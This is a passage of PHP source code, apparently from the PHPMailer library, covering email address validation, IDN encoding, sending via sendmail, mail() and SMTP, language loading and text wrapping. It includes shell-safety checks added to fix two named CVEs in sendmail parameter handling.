     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
            if (false !== $encodedCharPos) {
                // Found start of encoded character byte within $lookBack block.
                // Check the encoded byte value (the 2 chars after the '=')
                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
                $dec = hexdec($hex);
                if ($dec < 128) {
                    // Single byte character.
                    // If the encoded char was found at pos 0, it will fit
                    // otherwise reduce maxLength to start of the encoded char
                    if ($encodedCharPos > 0) {
                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    }
                    $foundSplitPos = true;
                } elseif ($dec >= 192) {
                    // First byte of a multi byte character
                    // Reduce maxLength to split at start of character
                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);
                    $foundSplitPos = true;
                } elseif ($dec < 192) {
                    // Middle byte of a multi byte character, look further back
                    $lookBack += 3;
                }
            } else {
                // No encoded character found
                $foundSplitPos = true;
            }
        }
        return $maxLength;
    }

    /**
     * Apply word wrapping to the message body.
     * Wraps the message body to the number of chars set in the WordWrap property.
     * You should only do this to plain-text bodies as wrapping HTML tags may break them.
     * This is called automatically by createBody(), so you don't need to call it yourself.
     * @access public
     * @return void
     */
    public function setWordWrap()
    {
        if ($this->WordWrap < 1) {
            return;
        }

        switch ($this->message_type) {
            case 'alt':
            case 'alt_inline':
            case 'alt_attach':
            case 'alt_inline_attach':
                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);
                break;
            default:
